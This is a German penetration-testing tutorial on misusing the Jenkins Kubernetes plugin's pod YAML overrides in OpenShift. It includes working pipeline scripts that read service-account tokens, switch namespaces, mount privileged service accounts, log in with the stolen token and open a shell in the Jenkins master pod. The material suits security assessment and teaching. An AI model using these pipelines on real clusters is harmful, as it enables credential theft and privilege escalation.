OpenShift - Jenkins Build Pod Override

Der ursprüngliche Autor dieser Seite ist Fares

Kubernetes-Plugin für Jenkins

Dieses Plugin ist hauptsächlich für die Kernfunktionen von Jenkins innerhalb eines Openshift/Kubernetes-Clusters verantwortlich. Die offizielle Dokumentation finden Sie hier Es bietet einige Funktionen wie die Möglichkeit für Entwickler, einige Standardkonfigurationen eines Jenkins-Build-Pods zu überschreiben.

Kernfunktionalität

Dieses Plugin ermöglicht Entwicklern Flexibilität beim Erstellen ihres Codes in einer geeigneten Umgebung.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Einige Missbräuche, die das Überschreiben von Pod-YAML ausnutzen

Es kann jedoch missbraucht werden, um jedes zugängliche Image wie Kali Linux zu verwenden und beliebige Befehle mit den vorinstallierten Tools aus diesem Image auszuführen. Im folgenden Beispiel können wir das Serviceaccount-Token des laufenden Pods exfiltrieren.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Eine andere Syntax, um das gleiche Ziel zu erreichen.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Beispiel zum Überschreiben des Namensraums des Pods

spec:
  nodeName: node01
  containers:
  - name: jenkins
    image: jenkins:latest
  nodeSelector:
    kubernetes.io/hostname: node01
  restartPolicy: Never
  securityContext:
    runAsUser: 1000
  namespace: my-namespace
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Ein weiteres Beispiel, das versucht, einen Serviceaccount einzubinden (der möglicherweise mehr Berechtigungen als der Standard hat, der Ihren Build ausführt), basierend auf seinem Namen. Möglicherweise müssen Sie zuerst vorhandene Serviceaccounts erraten oder auflisten.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Die gleiche Technik gilt auch für den Versuch, ein Secret einzubinden. Das Endziel hier wäre herauszufinden, wie Sie Ihr Pod-Build konfigurieren können, um effektiv zu schwenken oder Privilegien zu erlangen.

Gehe weiter

Sobald Sie sich daran gewöhnt haben, damit herumzuspielen, nutzen Sie Ihr Wissen über Jenkins und Kubernetes/Openshift, um Fehlkonfigurationen/ Missbräuche zu finden.

Stellen Sie sich die folgenden Fragen:

  • Welcher Service-Account wird verwendet, um Build-Pods bereitzustellen?

  • Welche Rollen und Berechtigungen hat er? Kann er Secrets des aktuellen Namespaces lesen, in dem ich mich befinde?

  • Kann ich weitere Build-Pods aufzählen?

  • Kann ich von einem kompromittierten SA aus Befehle auf dem Master-Knoten/ -Pod ausführen?

  • Kann ich den Cluster weiter aufzählen, um anderswo zu schwenken?

  • Welche SCC wird angewendet?

Sie können herausfinden, welche oc/kubectl-Befehle Sie hier und hier ausführen müssen.

Mögliche Szenarien für Privilege Escalation/Pivoting

Angenommen, während Ihrer Bewertung haben Sie herausgefunden, dass alle Jenkins-Builds innerhalb eines Namespace namens worker-ns ausgeführt werden. Sie haben herausgefunden, dass ein Standard-Serviceaccount namens default-sa auf den Build-Pods eingebunden ist, jedoch nicht viele Berechtigungen hat, außer Lesezugriff auf einige Ressourcen, aber Sie konnten einen vorhandenen Serviceaccount namens master-sa identifizieren. Angenommen, Sie haben auch den oc-Befehl im laufenden Build-Container installiert.

Mit dem folgenden Build-Skript können Sie die Kontrolle über den Serviceaccount master-sa übernehmen und weiter aufzählen.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

Je nach Ihrem Zugriff müssen Sie entweder Ihren Angriff vom Build-Skript aus fortsetzen oder Sie können sich direkt als dieser sa im laufenden Cluster anmelden:

oc login --token=$token --server=https://apiserver.com:port

Wenn dieser SA ausreichende Berechtigungen hat (wie z.B. pod/exec), können Sie auch die volle Kontrolle über die gesamte Jenkins-Instanz übernehmen, indem Sie Befehle innerhalb des Master-Node-Pods ausführen, wenn er im selben Namespace läuft. Sie können diesen Pod leicht anhand seines Namens identifizieren und daran, dass er ein PVC (persistanter Volumenanspruch) einbinden muss, das zur Speicherung von Jenkins-Daten verwendet wird.

oc rsh pod_name -c container_name

Im Falle, dass das Master-Node-Pod nicht im selben Namespace wie die Worker läuft, können Sie ähnliche Angriffe durchführen, indem Sie den Master-Namespace als Ziel wählen. Nehmen wir an, er heißt jenkins-master. Beachten Sie, dass das Servicekonto master-sa im Namespace jenkins-master existieren muss (und möglicherweise nicht im Namespace worker-ns).

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Last updated